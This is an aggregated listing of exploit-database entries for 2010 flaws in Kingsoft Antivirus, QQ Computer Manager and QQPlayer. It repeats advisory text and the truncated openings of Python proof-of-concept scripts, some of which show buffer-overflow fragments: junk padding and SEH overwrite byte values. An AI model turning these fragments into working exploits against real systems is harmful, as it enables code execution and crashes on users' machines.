金山毒霸KAVFM.sys驱动IOCTL处理内核缓冲区溢出漏洞

BUGTRAQ ID: 43173 金山毒霸是一种个人电脑安全防护软件，集合了查毒、杀毒、实时监控、垃圾邮件过滤、防网页挂马和隐私数据保护等实用性强的功能于一身。 本地用户可以通过向金山毒霸所安装的KAVFM.sys驱动提交恶意IOCTL请求触发缓冲区溢出，导致执行任意内核态代码。 Kingsoft Antivirus 2010.04.26.648 厂商补丁： Kingsoft Corp ------------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.kingsoft.com/ !/usr/bin/pyth...

Kingsoft Antivirus 2010.04.26.648 Buffer Overflow

!/usr/bin/python Title: Kingsoft Antivirus Kernel Buffer Overflow Exploit Author: Lufeng Li of Neusoft Corporation Vendor: www.duba.net Platform: Windows XPSP3 Chinese Simplified Tested: Kingsoft Antivirus v2010.04.26.648 Vulnerable: Kingsoft Antivirus =v2010.04.26.648 Vulnerable App:...

Kingsoft Antivirus <= 2010.04.26.648 Kernel Buffer Overflow Exploit

Exploit for windows platform in category dos / poc =================================================================== Kingsoft Antivirus = 2010.04.26.648 Kernel Buffer Overflow Exploit =================================================================== !/usr/bin/python Title: Kingsoft Antivirus...

Kingsoft AntiVirus 2010.04.26.648 - Kernel Buffer Overflow

Kingsoft AntiVirus 2010.04.26.648 - Kernel Buffer Overflow !/usr/bin/python Title: Kingsoft Antivirus Kernel Buffer Overflow Exploit Author: Lufeng Li of Neusoft Corporation Vendor: www.duba.net Platform: Windows XPSP3 Chinese Simplified Tested: Kingsoft Antivirus v2010.04.26.648 Vulnerable:...

Kingsoft AntiVirus 2010.04.26.648 - Kernel Buffer Overflow

!/usr/bin/python Title: Kingsoft Antivirus Kernel Buffer Overflow Exploit Author: Lufeng Li of Neusoft Corporation Vendor: www.duba.net Platform: Windows XPSP3 Chinese Simplified Tested: Kingsoft Antivirus v2010.04.26.648 Vulnerable: Kingsoft Antivirus =v2010.04.26.648 Vulnerable App:...

QQ电脑管家TSKsp.sys驱动本地拒绝服务漏洞

QQ电脑管家是QQ医生3.3的升级版本，主要功能包括安全防护、系统优化和软件管理。 QQ电脑管家所安装的TSKsp.sys驱动没有正确地验证用户所提交的调用参数，本地用户可以通过提交恶意的IOCTL请求导致内核崩溃。 Tencent QQ电脑管家 4.0 Beta1 厂商补丁： Tencent ------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://pcmgr.qq.com/ !/usr/bin/python Title: QQ Computer Manager TSKsp.sys Local Denial of...

QQ Computer Manager TSKsp.sys Driver Denial Of Service

QQ Computer Manager TSKsp.sys Driver Local Denial of Service Vulnerability By Lufeng Li of Neusoft Corporation Vulnerable: QQpcmgr=v4.0Beta1 Vendor: Tencent Inc 1 Software Description: QQ doctors more than three years after the development and operation, and finally ushered in the fourth generati...

QQ Computer Manager TSKsp.sys Local Denial of Service Exploit

No description provided by source. !/usr/bin/python Title: QQ Computer Manager TSKsp.sys Local Denial of Service Exploit Author: Lufeng Li of Neusoft Corporation Vendor: http://pcmgr.qq.com Vulnerable App: http://dldir2.qq.com/invc/qqmaster/setup/QQPCMgrSetup.exe Platform: Windows XPSP3 Chinese...

QQ Computer Manager - TSKsp.sys Local Denial of Service

QQ Computer Manager - TSKsp.sys Local Denial of Service !/usr/bin/python Title: QQ Computer Manager TSKsp.sys Local Denial of Service Exploit Author: Lufeng Li of Neusoft Corporation Vendor: http://pcmgr.qq.com Vulnerable App: http://dldir2.qq.com/invc/qqmaster/setup/QQPCMgrSetup.exe Platform:...

QQ Computer Manager TSKsp.sys Local Denial of Service Exploit

Exploit for windows platform in category dos / poc ============================================================= QQ Computer Manager TSKsp.sys Local Denial of Service Exploit ============================================================= !/usr/bin/python Title: QQ Computer Manager TSKsp.sys Local...

QQ Computer Manager TSKsp.sys Driver Local Denial of Service Vulnerability

QQ Computer Manager TSKsp.sys Driver Local Denial of Service Vulnerability By Lufeng Li of Neusoft Corporation Vulnerable: QQpcmgr=v4.0Beta1 Vendor: Tencent Inc 1 Software Description: QQ doctors more than three years after the development and operation, and finally ushered in the fourth generati...

QQPlayer 2.3.696.400p1 - .smi File Buffer Overflow

QQPlayer 2.3.696.400p1 - .smi File Buffer Overflow !/usr/bin/env python Title: QQPlayer smi File Buffer Overflow Exploit Author: Lufeng Li of Neusoft Corporation Vendor: www.qq.com Platform: Windows XPSP3 Chinese Simplified Tested: QQPlayer 2.3.696.400p1 Vulnerable: QQPlayer video...

QQPlayer smi File Buffer Overflow Exploit

No description provided by source. !/usr/bin/env python Title: QQPlayer smi File Buffer Overflow Exploit Author: Lufeng Li of Neusoft Corporation Vendor: www.qq.com Platform: Windows XPSP3 Chinese Simplified Tested: QQPlayer 2.3.696.400p1 Vulnerable: QQPlayer=2.3.696.400p1 Code : head ='''smil he...

QQPlayer smi File Buffer Overflow Exploit

Exploit for windows platform in category local exploits ========================================= QQPlayer smi File Buffer Overflow Exploit ========================================= !/usr/bin/env python Title: QQPlayer smi File Buffer Overflow Exploit Author: Lufeng Li of Neusoft Corporation...

QQPlayer 2.3.696.400p1 - '.smi' File Buffer Overflow

!/usr/bin/env python Title: QQPlayer smi File Buffer Overflow Exploit Author: Lufeng Li of Neusoft Corporation Vendor: www.qq.com Platform: Windows XPSP3 Chinese Simplified Tested: QQPlayer 2.3.696.400p1 Vulnerable: QQPlayer !-- Genera...

QQplayer 2.3.696.400p1 Buffer Overflow

QQplayer smi File Processing Buffer Overflow Vulnerability By Lufeng Li of Neusoft Corporation Vulnerable: QQPlayer meta name="author" content="Warner Music Group''' junk = "A" 2001 nseh ="\x42\x61\x21\x61" seh ="\x39\x0c\x41\x00" adjust="\x30\x83\xc0\x0b"...

QQ影音ASX和CUE文件处理栈溢出漏洞

QQ影音是腾讯公司推出的一款支持任何格式影片和音乐文件的本地播放器。 用户受骗使用QQ影音打开了特制的ASX或CUE文件就可以触发栈溢出，导致执行任意代码。 Tencent QQ影音 2.3.969.400p1 厂商补丁： Tencent ------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://player.qq.com/ !/usr/bin/env python Title: QQPlayer cue File Buffer Overflow Exploit Author: Lufeng Li of Neusoft Corporation...

QQPlayer CUE file buffer overflow vulnerability-vulnerability warning-the black bar safety net

!/ usr/bin/env python Title: QQPlayer cue File Buffer Overflow Exploit Author: Lufeng Li of Neusoft Corporation Vendor: www.qq.com Platform: Windows XPSP3 Chinese Simplified Tested: QQPlayer 2.3.696.400 Vulnerable: QQPlayer=2.3.696. 400p1 Code : head = """FILE"""" junk = "A" 7 8 0 nseh...

QQPlayer .cue Buffer Overflow

!/usr/bin/env python Title: QQPlayer cue File Buffer Overflow Exploit Author: Lufeng Li of Neusoft Corporation Vendor: www.qq.com Platform: Windows XPSP3 Chinese Simplified Tested: QQPlayer 2.3.696.400 Vulnerable: QQPlayer=2.3.696.400p1 Code : head = '''FILE "''' junk = "A" 780 nseh...

QQPlayer - '.cue' File Buffer Overflow

!/usr/bin/env python Title: QQPlayer cue File Buffer Overflow Exploit Author: Lufeng Li of Neusoft Corporation Vendor: www.qq.com Platform: Windows XPSP3 Chinese Simplified Tested: QQPlayer 2.3.696.400 Vulnerable: QQPlayer=2.3.696.400p1 Code : head = '''FILE "''' junk = "A" 780 nseh...